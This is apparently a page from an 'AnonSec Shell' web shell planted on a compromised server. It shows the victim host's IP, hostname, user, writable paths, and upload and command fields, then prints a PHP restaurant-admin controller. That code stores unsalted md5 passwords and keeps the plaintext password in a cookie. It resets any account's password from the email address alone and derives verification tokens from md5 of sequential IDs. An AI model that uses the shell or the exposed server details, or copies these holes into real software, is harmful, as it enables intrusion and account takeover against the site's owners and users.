AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_projetos/sopizzas/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_projetos/sopizzas/application/controllers/restaurantadmin.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
session_start(); //we need to call PHP's session object to access it through CI
class Restaurantadmin extends CI_Controller {

  function __construct()
  {
     parent::__construct();
     $this->load->helper("url");
     $this->load->helper('form');
     $this->load->model('user');
     $this->load->library('form_validation');
     $this->load->library('session');
     $this->load->model('restaurantmanagement_model');
     $this->load->model('frontend_model');
     $this->load->model('dashboard_model');
     $this->load->library('myemail');
     
     $session_data = $this->session->userdata('logged_in');
     $this->load->library('m_pdf');
     if($this->session->userdata('user_language'))
      {
        $language = $this->session->userdata('user_language');
      }
      else
      {
        $language = $this->config->item("language");
      }
      $data['user_language'] =  $language;
      $this->lang->load('restaurantAdmin', $language);   
      $this->lang->load('frontpage', $language);
  }

     //if(empty($session_data)) { redirect('login', 'refresh'); }    

  function index( $verify_code = '' )
  {
    if ($this->input->server('REQUEST_METHOD') == 'POST') {
        if ($this->input->post('form_name') && $this->input->post('form_name') == 'restaurant_owner_register') {
          $this->addRestaurantAdmin();
        }
        else if ($this->input->post('form_name') && $this->input->post('form_name') == 'forgot_password') {
          $this->sendForgotPasswordMail();
        }
    }
    else {
    $cookieData = $this->input->cookie('remember_me_token_restaurant');
    $cookieDataPass = $this->input->cookie('remember_me_token_restaurant_pass');
    $data['username'] = '';
    $data['password'] = '';
    $data['ischecked'] = '';

     
      if ($cookieData != "") {
      $result = $this->user->login_cookie_restaurant($cookieData);
      if($result)
      {
        $sess_array = array();
        foreach($result as $row)
        {

        $data['username'] = $row->restaurant_contact_email;
        $data['password'] = $cookieDataPass;
        $data['ischecked'] = 'checked';

        }
      }
    }

      $session_data = $this->session->userdata('logged_in_restaurant');
      if ($verify_code != '') {
        $this->db->select('*');
        $this->db->from('rt_restaurant');
        $this->db->where('restaurant_validate_id', $verify_code);
        $query = $this->db->get();
        if ($query->num_rows() > 0) {
          $data['username'] = $query->row()->restaurant_contact_email;
          $data['password'] = '';
          $data['ischecked'] = '';
        }
      }
      if(empty($session_data)) {
        $data['page'] = 'restaurantadmin_login';
        $this->load->view('restaurantadmin/login', $data);
        $this->load->view('frontend/footer');
     }else{
      redirect('restaurantadmin/dashboardrestaurant');
     }
    }

  }
  function restaurantLogin($verify_code = '') {
    if ($verify_code != '') {
      $this->db->select('restaurant_contact_email');
      $this->db->from('rt_restaurant');
      $this->db->where('restaurant_validate_id', $verify_code);
      $query = $this->db->get();
      if ($query->num_rows() > 0) {
        $data['username'] = $query->row()->restaurant_contact_email;
        $data['password'] = '';
        $data['ischecked'] = '';
      }
      $data['page'] = 'restaurantadmin_login';
      $this->load->view('restaurantadmin/login', $data);
      $this->load->view('frontend/footer');
    }
    else {
      redirect('restaurantadmin/');
    }
  }
  function logout()
  {
    $this->session->unset_userdata('logged_in_restaurant');
    //session_destroy();
    //$this->input->set_cookie('remember_me_token_restaurant', '');
    redirect('restaurantadmin', 'refresh');
  }

  function register() {
    $data['StateList'] = $this->frontend_model->StateList();
    $data['CityList'] = $this->frontend_model->CityList();
    /*print_r($data['CityList']);
    exit();*/
    $session_data = $this->session->userdata('logged_in_restaurant');
    if(empty($session_data)) {
        $data['title'] = 'Restaurant Owner Register';
        $data['page'] = 'restaurantadmin_register';
        $this->load->view('frontend/restaurant_owner_register', $data);
        $this->load->view('frontend/footer');
    }else{
        redirect('restaurantadmin/dashboardrestaurant');
    }
  }

  function forgot_password()
  {
    $restaurant_contact_email = $this->input->get('forgot_password');
    $this->db->select('*');
    $this->db->from('rt_restaurant');
    $this->db->where('restaurant_contact_email', $restaurant_contact_email);
    $query = $this->db->get();
    $num_rows = $query->num_rows();
    if ($num_rows && preg_match("/^[^@]{1,64}@[^@]{1,255}$/", $restaurant_contact_email)) {
      echo http_response_code(200);
    }
    else {
      echo http_response_code(418);
    }
    //echo http_response_code(418);
  }

  function sendForgotPasswordMail() {
    $restaurant_contact_email = $this->input->post('forgot_password');
    $this->db->trans_start();
    $this->db->select('restaurant_id');
    $this->db->from('rt_restaurant');
    $this->db->where('restaurant_contact_email', $restaurant_contact_email);
    $query = $this->db->get();
    $restaurant_data = $query->row();
    $data['restaurant_id'] = $restaurant_data->restaurant_id;
    $restaurant_id = $restaurant_data->restaurant_id;
    $new_password = rand(100000, 999999);
    $data_up = array(
        'restaurant_password'  =>  md5($new_password)
      );
    $this->db->where('restaurant_id', $restaurant_id);
    $this->db->update('rt_restaurant', $data_up);
    $this->db->trans_complete();
    /*echo($new_password);
    exit();*/

    $logo=base_url().'assets/logo-main.png';
    $image_path=base_url().'assets/';
    $variables = array();
    $restaurant_data = $this->restaurantmanagement_model->getRestaurantData($restaurant_id);
    $to = $restaurant_data['restaurant_contact_email'];
    $restaurant_contact_name = $restaurant_data['restaurant_contact_name'];
    $link_button=anchor('restaurantadmin/validateRestaurantOwner/' . md5($restaurant_id),'<button>Verify Email</button>');
    $link = anchor('restaurantadmin/validateRestaurantOwner/' . md5($restaurant_id));
    //$logo= $path."' style='height:48px; width:auto;'>";
    //$variables['recipient'] = $restaurant_contact_name;
    //$variables['name'] = $restaurant_contact_name;
    $variables['link_button'] = $link_button;
    $variables['link'] = $link;
    $variables['logo'] = $logo;
    $variables['image_path'] = $image_path;
    $variables['to_email'] = $to;

    $variables['email'] = $restaurant_data['restaurant_contact_email'];
    $variables['password'] = $new_password;
    
    $variables['site_address'] = SITE_ADDRESS;
    $variables['sender_name'] = SITENAME;
    $variables['site_name'] = SITENAME;
    $template_name = 'forgot_password';
    $mail_data = $this->frontend_model->getEmailTemplate($template_name);
    $mailcontent=htmlspecialchars_decode($mail_data->template);
    $subject = $mail_data->subject;
    foreach($variables as $key => $value) {
      $mailcontent = str_replace('{{'.$key.'}}', $value, $mailcontent);
    }
    /*echo($mailcontent);
    exit();*/
    /*$this->load->library('email');
    $config['charset'] = 'utf-8';
    $config['wordwrap'] = TRUE;
    $config['mailtype'] = 'html';
    $this->email->initialize($config);

    $this->email->from(SITENAME);
    $this->email->to($to);
    $this->email->subject($subject);
    $this->email->message($mailcontent);
    $this->email->send();*/
    $this->send_my_mail($to,$subject,$mailcontent, $mail_CC = '');
    $this->session->unset_userdata('restaurant_registration_id');
    $this->session->set_userdata('success_msg', 'Your login details has been sent to your email address');
    redirect('restaurantadmin');
  }

  function addRestaurantAdmin() {
    /*echo "<pre>";
    print_r ($this->input->post());
    echo "</pre>";
    exit();*/
    $now = date('Y-m-d H:i:s');
    $this->form_validation->set_rules('restaurant_contact_email', 'restaurant_contact_email', 'trim|required|xss_clean|callback_isUserExist');
    $this->form_validation->set_rules('restaurant_name', 'restaurant_name', 'trim|required|xss_clean|callback_isRestNameExist');
    $this->form_validation->set_rules('restaurant_contact_name', 'trim|xss_clean');
    $this->form_validation->set_rules('restaurant_phone', 'trim|xss_clean');
    //$this->form_validation->set_rules('restaurant_fax', 'trim|xss_clean');
    $this->form_validation->set_rules('restaurant_abn', 'trim|xss_clean');
    $this->form_validation->set_rules('restaurant_zip', 'trim|xss_clean');
    $this->form_validation->set_rules('restaurant_streetaddress', 'trim|xss_clean');
    $this->form_validation->set_rules('restaurant_password', 'trim|xss_clean');
    $this->form_validation->set_rules('restaurant_website', 'trim|xss_clean');
    //$this->form_validation->set_rules('restaurant_salestax', 'trim|xss_clean');
    $this->form_validation->set_rules('order_receive_type', 'trim|xss_clean');
    $this->form_validation->set_rules('restaurant_state', 'trim|xss_clean');
    $this->form_validation->set_rules('restaurant_city', 'trim|xss_clean');
    
    if ($this->form_validation->run() == FALSE) {
      $this->register();
    }
    else {
      $order_receive_type_array = $this->input->post('order_receive_type');
      if(is_array($order_receive_type_array)) {
        $order_receive_type = implode(',', $order_receive_type_array);
      }
      else {
        $order_receive_type ='email';
      }

      $restaurant_password = $this->input->post('restaurant_password');

      $delivery_zone="[[41.49324271131432,-90.47262668609619],[41.49700357252215,-90.46794891357422],[41.49240693472465,-90.46438694000244],[41.48780997072924,-90.46940803527832]]";
      // We define our address
      $address = $this->input->post('restaurant_zip').' '.$this->input->post('restaurant_streetaddress').' '.$this->input->post('restaurant_state').' '.$this->input->post('restaurant_city');
      // We get the JSON results from this request
      if($address!='') {
        $geo = file_get_contents('http://maps.googleapis.com/maps/api/geocode/json?address='.urlencode($address).'&sensor=false');
        // We convert the JSON to an array
        $geo = json_decode($geo, true);
        // If everything is cool
        if ($geo['status'] = 'OK') {
        // We set our values
        $latitude = isset($geo['results'][0]['geometry']['location']['lat'])? $geo['results'][0]['geometry']['location']['lat']: DEFAULT_LAT;
        $longitude = isset($geo['results'][0]['geometry']['location']['lng'])? $geo['results'][0]['geometry']['location']['lng'] : DEFAULT_LONG;
        }
        else {
          $latitude = DEFAULT_LAT;
          $longitude = DEFAULT_LONG;
        }
      }
      else {
        $latitude = DEFAULT_LAT;
        $longitude = DEFAULT_LONG;
      }
      $this->db->trans_start();
      $this->db->select('*');
      $this->db->from('rt_sitesetting');
      $this->db->limit('1');
      $resQuery = $this->db->get();
      $data_in = array(
          'restaurant_contact_email'    =>  $this->input->post('restaurant_contact_email'),
          'restaurant_name'             =>  $this->input->post('restaurant_name'),
          'restaurant_contact_name'     =>  $this->input->post('restaurant_contact_name'),
          'restaurant_phone'            =>  $this->input->post('restaurant_phone'),
          'restaurant_fax'              =>  $this->input->post('restaurant_fax'),
          'restaurant_abn'              =>  $this->input->post('restaurant_abn'),
          'restaurant_zip'              =>  $this->input->post('restaurant_zip'),
          'restaurant_streetaddress'    =>  $this->input->post('restaurant_streetaddress'),
          'restaurant_website'          =>  $this->input->post('restaurant_website'),
          'restaurant_salestax'         =>  $resQuery->row()->site_tax,
          'restaurant_commission_percnt'=>  $resQuery->row()->agreement_pay_commission,
          'restaurant_commissiontype'   =>  '1',
          'order_receive_type'          =>  $order_receive_type,
          'restaurant_password'         =>  md5($restaurant_password),
          'latitude'                    =>  $latitude,
          'longitude'                   =>  $longitude,
          'delivery_zone_1'             =>  $delivery_zone,
          'delivery_zone_2'             =>  $delivery_zone,
          'delivery_zone_3'             =>  $delivery_zone,
          'restaurant_validate'         =>  0,
          'addeddate'                   =>  $now,
          'restaurant_status'           =>  '0',
          'restaurant_city'             =>  $this->input->post('restaurant_city'),
          'restaurant_state'            =>  $this->input->post('restaurant_state')
        );
      $this->db->insert('rt_restaurant', $data_in);
      $restaurant_registration_id = $this->db->insert_id();
      $this->db->trans_complete();

    //print_r($this->input->post());
    if($this->input->post('newsletter_signup') == "on"){
        $this->frontend_model->newsletterSubscribe($this->input->post('newsletter_subscriber'), $this->input->post('restaurant_contact_email'));
    }
      $restaurant_seourl = makeSEOurl($this->input->post('restaurant_name')).'-'.$restaurant_registration_id;
      $seo_data_up = array('restaurant_seourl' => $restaurant_seourl);
      $this->db->where('restaurant_id', $restaurant_registration_id);
      $this->db->update('rt_restaurant', $seo_data_up);
      $this->session->set_userdata('restaurant_registration_id', $restaurant_registration_id);
      $this->session->userdata('restaurant_registration_id');
      redirect('restaurantadmin/thankyou');
    }
  }

  function isUserExist($restaurant_contact_email,$id)
  {     
    $restaurant_id = $this->input->post('restaurant_id');

    $is_exist = $this->user->isUserExist($restaurant_contact_email,$restaurant_id);
    if ($is_exist) {
        $this->form_validation->set_message('isUserExist', 'Email is already exist.');    
        return false;
    }else{
        return true;
    }   

  }

  function isRestNameExist($restaurant_name,$id)
  {     
    $restaurant_id = $this->input->post('restaurant_id');

    $is_exist = $this->user->isRestNameExist($restaurant_name,$restaurant_id);
    if ($is_exist) {
        $this->form_validation->set_message('isRestNameExist', 'Name is already exist.');    
        return false;
    }else{
        return true;
    }   

  }

  function thankyou() {
    $restaurant_id = $this->session->userdata('restaurant_registration_id');
    //$restaurant_id = 310;
    $data['restaurant_id'] = $restaurant_id;
    $this->db->trans_start();
    $data_up = array(
        'restaurant_validate_id'  =>  md5($restaurant_id)
      );
    $this->db->where('restaurant_id', $restaurant_id);
    $this->db->update('rt_restaurant', $data_up);
    $this->db->trans_complete();

    $logo=base_url().'assets/logo-main.png';
    $image_path = base_url().'assets/';
    $variables = array();
    $restaurant_data = $this->restaurantmanagement_model->getRestaurantData($restaurant_id);
    $to = $restaurant_data['restaurant_contact_email'];
    $driver_name = $restaurant_data['restaurant_contact_name'];
    $link_button=anchor('restaurantadmin/validateRestaurantOwner/' . md5($restaurant_id),'<button>Verify Email</button>');
    $link = anchor('restaurantadmin/validateRestaurantOwner/' . md5($restaurant_id));
    $only_link = base_url().'restaurantadmin/validateRestaurantOwner/' . md5($restaurant_id);
    //$logo="<img src='". $path."' style='height:48px; width:auto;'>";
    //$variables['recipient'] = $driver_name;
    //$variables['name'] = $driver_name;
    $variables['link_button'] = $link_button;
    $variables['link'] = $link;
    $variables['only_link'] = $only_link;
    $variables['logo'] = $logo;
    $variables['image_path'] = $image_path;
    $variables['to_email'] = $to;

    $variables['restaurant_id'] = $restaurant_data['restaurant_id'];
    $variables['restaurant_name'] = $restaurant_data['restaurant_name'];
    $variables['restaurant_phone'] = $restaurant_data['restaurant_phone'];
    $variables['restaurant_abn'] = $restaurant_data['restaurant_abn'];
    $variables['restaurant_contact_email'] = $restaurant_data['restaurant_contact_email'];
    $variables['restaurant_zip'] = $restaurant_data['restaurant_zip'];
    $variables['restaurant_streetaddress'] = $restaurant_data['restaurant_streetaddress'];
    $variables['restaurant_salestax'] = $restaurant_data['restaurant_salestax'];
    
    $variables['site_address'] = SITE_ADDRESS;
    $variables['sender_name'] = SITENAME;
    $variables['site_name'] = SITENAME;
    $template_name = 'restaurant_email_verification';
    $mail_data = $this->frontend_model->getEmailTemplate($template_name);
    $mailcontent=htmlspecialchars_decode($mail_data->template);
    $subject = $mail_data->subject;
    foreach($variables as $key => $value) {
      $mailcontent = str_replace('{{'.$key.'}}', $value, $mailcontent);
    }
    /*$this->load->library('email');
    $config['charset'] = 'utf-8';
    $config['wordwrap'] = TRUE;
    $config['mailtype'] = 'html';
    $this->email->initialize($config);

    $this->email->from(SITENAME);
    $this->email->to($to);
    $this->email->subject($subject);
    $this->email->message($mailcontent);
    $this->email->send();*/
    //$this->send_my_mail($to,$subject,$mailcontent);
    $this->notification_model->sendEmailNotification($to,$subject,$mailcontent);
    $this->notification_model->sendDevEmail($this->config->item("developer_emails"), $subject,$mailcontent);
    $this->session->unset_userdata('restaurant_registration_id');
    $data['title']  = "Thank You";  
    $data['page'] = "restaurant_admin_registration";
    $this->load->view('frontend/header',$data);
    $this->load->view('frontend/thankyou');
    $this->load->view('frontend/footer');
  }

  function validateRestaurantOwner($verify_code) {
    if ($verify_code != '') {
      $checkDriver = $this->restaurantmanagement_model->validateRestaurantOwner($verify_code);
      if ($checkDriver == 1) {
        $data['title']  = "Thank You";  
        $data['page'] = "restaurant_owner_valid";
        $data['verify_code'] = $verify_code;
        $this->load->view('frontend/header',$data);
        $this->load->view('frontend/thankyou');
        $this->load->view('frontend/footer');
      }
      else if ($checkDriver == 2) {
        /*$data['title']  = "Thank You";  
        $data['page'] = "restaurant_owner_already_valid";
        $this->load->view('frontend/header',$data);
        $this->load->view('frontend/thankyou');
        $this->load->view('frontend/footer');*/
        redirect('restaurantadmin/restaurantLogin/'.$verify_code.'');
      }
      else if ($checkDriver == 0) {
        $data['title']  = "Thank You";  
        $data['page'] = "restaurant_owner_invalid";
        $this->load->view('frontend/header',$data);
        $this->load->view('frontend/thankyou');
        $this->load->view('frontend/footer');
      }
    }
  }

function invoice_details($invoice_id)
{

    //$orderid = 190;
    $pdfContent     = $this->Invoice4PDF($invoice_id);
    $this->m_pdf->pdf->list_indent_first_level = 0; // 1 or 0 - whether to indent the first level of a list
    $this->m_pdf->pdf->useOnlyCoreFonts = true;    // false is default
    $stylesheet = file_get_contents(base_url().'assets/css/mpdfstyletables.css');
    $this->m_pdf->pdf->WriteHTML($stylesheet,1);
    $this->m_pdf->pdf->WriteHTML($pdfContent,2);

    $this->m_pdf->pdf->Output('invoice_'.$orderid.'.pdf','D');
    exit;
}


function Invoice4PDF($invoice_id)
  {

    $invoice_details = $this->dashboard_model->get_restaurant_invoice($invoice_id);
    if($invoice_details)
    {

    $website_settings     = $this->dashboard_model->get_website_settings();
    $fr_date=$invoice_details['from_date'];
    $to_date=$invoice_details['to_date'];
    $restaurant_id = $invoice_details['restaurant_id'];
    $restaurant_name = $invoice_details['restaurant_name'];
    $order_amount = $invoice_details['order_amount'];

    $orderdetails = '';

    $status = 'Delivered';
    $this -> db -> select('*');
    $this -> db -> from('rt_order');
    $this -> db -> where('restaurant_id', $restaurant_id);
    $this -> db -> where('status', $status);
    $this -> db -> where('date(delivery_completed_date) >=', $fr_date);
    $this -> db -> where('date(delivery_completed_date) <=', $to_date);
    $query = $this -> db -> get();
    $result= $query->result_array();

    if(is_array($result) && sizeof($result)>0)
    {
      $sl_no =1;
     foreach($result as $row) {  
      $ItemTotal[]                    = $row['menuprice_total'];
      $OrderTotal[]                   = $row['ordertotalprice'];
      $SiteCommission[]               = $row['commission'];
      $TaxTotal[]                     = $row['taxvalue'];
      $TipsTotal[]                    = $row['tip'];
      $DeliveryChargeTotal[]          = $row['delivery_charged'];
      $OfferTotal[]                   = $row['offervalue'];
      if ($row['tip'] == '' || $row['tip'] == 0 || $row['tip'] == 0.00) {
        $row['tip'] = 0;
      }
      $orderdetails .= '<tr>
                  <td align="left" style="height:35px;border-bottom:1px solid #CCC; max-width:40%;">'.$row['ordergenerateid'].'</td>
                  <td align="left" style="height:35px;border-bottom:1px solid #CCC;">'.$row['customername'].' '.$row['customerlastname'].'</td>
                  <td align="left" style="height:35px;border-bottom:1px solid #CCC;">'.date('m/d/Y',strtotime($row['delivery_completed_date'])).'</td>
                  <td align="left" style="height:35px;border-bottom:1px solid #CCC;">'.SITENAME_CURRENCY.''.number_format($row['menuprice_total'],2).'</td>
                  <td align="left" style="height:35px;border-bottom:1px solid #CCC;">'.SITENAME_CURRENCY.''.number_format($row['taxvalue'],2).'</td>
                  <td align="left" style="height:35px;border-bottom:1px solid #CCC;">'.SITENAME_CURRENCY.''.number_format($row['commission'],2).'</td>
                  <td align="left" style="height:35px;border-bottom:1px solid #CCC;">'.SITENAME_CURRENCY.''.number_format($row['tip'],2).'</td>
                  <td align="left" style="height:35px;border-bottom:1px solid #CCC;">'.SITENAME_CURRENCY.''.number_format($row['delivery_charged'],2).'</td>
                  <td align="left" style="height:35px;border-bottom:1px solid #CCC;">'.SITENAME_CURRENCY.''.number_format($row['offervalue'],2).'</td>
                  <td align="left" style="height:35px;border-bottom:1px solid #CCC;">'.SITENAME_CURRENCY.''.$row['ordertotalprice'].'</td>
                </tr>';

                $sl_no = $sl_no+1;
     }

     if(!empty($ItemTotal) && is_array($ItemTotal))
      {
        $ItemTotal = array_sum($ItemTotal);
      }

      if(!empty($OrderTotal) && is_array($OrderTotal))
      {
        $OrderTotal = array_sum($OrderTotal);
      }

      if(!empty($SiteCommission) && is_array($SiteCommission))
      {
        $SiteCommission = array_sum($SiteCommission);
      }

      if(!empty($TaxTotal) && is_array($TaxTotal))
      {
        $TaxTotal = array_sum($TaxTotal);
      }

      if(!empty($TipsTotal) && is_array($TipsTotal))
      {
        $TipsTotal = array_sum($TipsTotal);
      }

      if(!empty($DeliveryChargeTotal) && is_array($DeliveryChargeTotal))
      {
        $DeliveryChargeTotal = array_sum($DeliveryChargeTotal);
      }

      if(!empty($OfferTotal) && is_array($OfferTotal))
      {
        $OfferTotal = array_sum($OfferTotal);
      }

      // $InvoiceAmount = $ItemTotal-$SiteCommission;
      $InvoiceAmount = $order_amount;

      /*$this->db->select('*');
      $this->db->from('rt_setting_payment');
      $this->db->limit('1');
      $paypalQuery = $this->db->get();
      if ($paypalQuery->num_rows() > 0) {
        $paypalData = $paypalQuery->row();
        $paypalAmt = $OrderTotal * (($paypalData->paypal_fee / 2) / 100);
        $InvoiceAmount = $InvoiceAmount - $paypalAmt;
      }*/



   }


    $logo = base_url().SITE_LOGO_PATH_THUMBS.$website_settings['sitelogo'];

    


    $order_payment_details = '<tr>
                  <td align="left" colspan="3">
                    <table width="100%" cellpadding="5" cellspacing="0" border="0" style="border:1px solid #CCC;">
                      <tr><td width="18%">Payment Method</td><td width="2%">:</td><td width="30%">'.$payment_type.'</td>'.$trasnsId_details.'</tr>
                    </table>
                  </td>
                </tr>';
    
    $pdf_content .= '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
            <html xmlns="http://www.w3.org/1999/xhtml">
            <head>
            <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
            <title></title>
            </head>
            <body>
            <div style="display:block; width:760px; padding:0 10px;"> 
            <div style="display:block; width:100%; vertical-align:top;">
              <div style="display:block; width:100%; vertical-align:top;">
                <table width="100%" align="center">
                  
                  <tr>
                    <td valign="top" width="70%">
                      <table style="display:inline-block; width:100%; vertical-align:top; float:right;font-family:Arial; font-size:13px; ">
                        <tr style="display:block; width:100%; font-family:Arial; font-size:13px;">
                          <td style="display:inline-block; width:100%; vertical-align:top; font-size:20px; font-weight:bold;">#INV'.$invoice_details['invoice_id'].'</td>
                        </tr>
                        <tr style="display:block; width:100%; font-family:Arial; font-size:13px;">
                          <td style="display:inline-block; width:100%; vertical-align:top; font-size:12px; ">Date : '.date('m/d/Y',strtotime($invoice_details['addeddate'])).'</td>
                        </tr>
                        <tr style="display:block; width:100%; font-family:Arial; font-size:13px;">
                          <td style="display:inline-block; width:100%; vertical-align:top; font-size:12px; ">Billing Period : '.date('m/d/Y',strtotime($invoice_details['from_date'])).' to '.date('m/d/Y',strtotime($invoice_details['to_date'])).'</td>
                        </tr>
                        <tr style="display:block; width:100%; font-family:Arial; font-size:13px;">
                          <td style="display:inline-block; width:100%; vertical-align:bottom; font-size:18px; padding-top: 10px;"><b>'.$restaurant_name.'</b></td>
                        </tr>
                        <tr style="display:block; width:100%;">
                          <td style="display:inline-block; width:100%; vertical-align:top;font-weight:bold;">'.$invoice_details['driver_first_name'].' '.$invoice_details['driver_last_name'].'</td>
                        </tr>
                        <tr style="display:block; width:100%;">
                          <td style="display:inline-block; width:100%; vertical-align:top;font-weight:bold;">'.$invoice_details['driver_email'].'</td>
                        </tr>
                        <tr style="display:block; width:100%;">
                          <td style="display:inline-block; width:100%; vertical-align:top;">Any Question? Call us at '.SITE_PHONE_NO.'</td>
                        </tr>
                      </table>
                    </td>
                    <td valign="top" width="30%">
                      <div style="display:inline-block; width:100%; vertical-align:top; text-align: right;">
                      <img width="100" src="'.$logo.'" title="'.SITENAME.'" alt="'.SITENAME.'" />
                      </div>
                    </td>
                  </tr>
                  
                </table>
              </div>
              <div style="clear:both;"></div>
              <div style="display: block; width: 100%; margin: 5px 0px; text-align: center; font-weight: bold; font-size: 20px;">Invoice Amt:&nbsp;&nbsp;'.SITENAME_CURRENCY.''.number_format($InvoiceAmount, 2).'</div>
              <div style="clear:both;"></div>
              <div style="display:block; width:100%; vertical-align:top; margin-top:20px;margin-bottom:10px;">
                <div style="display:block; width:100%;font-weight:bold; font-family:Arial; font-size:13px;line-height:26px; margin-bottom:8px;"></div>
                <table width="100%" border="0" cellspacing="0" cellpadding="5">
                  <tr>
                    <td align="left" style="height:25px; font-weight:bold;border-bottom:1px dotted #CCC;">Order Id </td>
                    <td align="left" style="height:25px; font-weight:bold;border-bottom:1px dotted #CCC;">Customer Name </td>
                    <td align="left" style="height:25px; font-weight:bold;border-bottom:1px dotted #CCC;">Delivery Date</td>
                    <td align="left" style="height:25px; font-weight:bold;border-bottom:1px dotted #CCC;">Item total</td>  
                    <td align="left" style="height:25px; font-weight:bold;border-bottom:1px dotted #CCC;">Tax</td>   
                    <td align="left" style="height:25px; font-weight:bold;border-bottom:1px dotted #CCC;">'.SITENAME.' Commission</td>
                    <td align="left" style="height:25px; font-weight:bold;border-bottom:1px dotted #CCC;">Tips</td>  
                    <td align="left" style="height:25px; font-weight:bold;border-bottom:1px dotted #CCC;">Delivery Charge</td>  
                    <td align="left" style="height:25px; font-weight:bold;border-bottom:1px dotted #CCC;">Discount</td>  
                    <td align="left" style="height:25px; font-weight:bold;border-bottom:1px dotted #CCC;">Order total</td>
                  </tr>

                                                  
                  '.$orderdetails;                   
                                              
                  $pdf_content .= '<tr>
                    <td style="border-top:1px solid #CCC;">&nbsp;</td>
                    <td style="border-top:1px solid #CCC;">&nbsp;</td>
                    <td style="border-top:1px solid #CCC;">&nbsp;</td>
                    <td align="left" style="height:35px;font-weight:bold;border-top:1px solid #CCC;">'.SITENAME_CURRENCY.''.number_format($ItemTotal,2).'</td>
                    <td align="left" style="height:35px;font-weight:bold;border-top:1px solid #CCC;">'.SITENAME_CURRENCY.''.number_format($TaxTotal,2).'</td>
                    <td align="left" style="height:35px;font-weight:bold;border-top:1px solid #CCC;">'.SITENAME_CURRENCY.''.number_format($SiteCommission,2).'</td>
                    <td align="left" style="height:35px;font-weight:bold;border-top:1px solid #CCC;">'.SITENAME_CURRENCY.''.number_format($TipsTotal,2).'</td>
                    <td align="left" style="height:35px;font-weight:bold;border-top:1px solid #CCC;">'.SITENAME_CURRENCY.''.number_format($DeliveryChargeTotal,2).'</td>
                    <td align="left" style="height:35px;font-weight:bold;border-top:1px solid #CCC;">'.SITENAME_CURRENCY.''.number_format($OfferTotal,2).'</td>
                    <td align="left" style="height:35px;font-weight:bold;border-top:1px solid #CCC;">'.SITENAME_CURRENCY.''.number_format($OrderTotal,2).'</td>
                  </tr>
                </table>
              </div>
              <div style="width:100%; font-family:Arial; font-size:13px;"></div>
            </div>
            <div style="width:100%; vertical-align:top; border-top:1px solid #000000;font-size:13px; font-family:Arial;  margin-top:5px; margin-bottom:10px;padding-top:10px;">
              <div style="float:left; width:40%;">';
                
                
              $pdf_content .= '</div>
            </div>
            </div>  
            </body>
            </html>';



        
        /*<td>&nbsp;</td><td>&nbsp;</td><td>Tax('.$taxperchantage.' %)</td><td>'.SITENAME_CURRENCY.''.$taxamount.'</td>*/
//.......................................................................................................................................................
return $pdf_content;

     
  }

}

function send_my_mail($mail_To,$mail_subject,$mail_Body,$mail_CC="")
{
    $mail_From = SITENAME;

    $mail = new PHPMailer();

    //Your SMTP servers details

    $mail->IsSMTP(); // set mailer to use SMTP
    $mail->Host = SMTP_HOST; // specify main and backup server or localhost
    $mail->SMTPAuth = true; // turn on SMTP authentication
    $mail->Username = SMTP_USER; // SMTP username
    $mail->Password = SMTP_PASSWORD; // SMTP password It should be same as that of the SMTP user

    //$mail->PluginDir = "/home/phpaucti/public_html/website_development/coding/includes/";
    $mail->From = $mail->Username; //Default From email same as smtp user
    $mail->FromName = $mail_From;
    $emailArr = explode(',',$mail_To);
    foreach($emailArr AS $emailVal) {
    $mail->AddAddress($emailVal, ""); //Email address where you wish to receive/collect those emails.
    }

    /*$emailCCArr = explode(',',$mail_CC);
    foreach($emailCCArr AS $emailCCVal) {
    $mail->AddCC($emailCCVal, ""); //Email address where you wish to receive/collect those emails.
    }*/


    $mail->WordWrap = 100; // set word wrap to 50 characters
    $mail->IsHTML(true); // set email format to HTML
    $mail->Subject = $mail_subject;
    $message = $mail_Body;
    $mail->Body = $message;

    if(!$mail->Send())
    {
    /*echo "Message could not be sent. <p>";
    echo "Mailer Error: " . $mail->ErrorInfo;
    exit;*/
    }
    else
    {
    //echo 'ok';
    }

}

}

Anon7 - 2022
AnonSec Team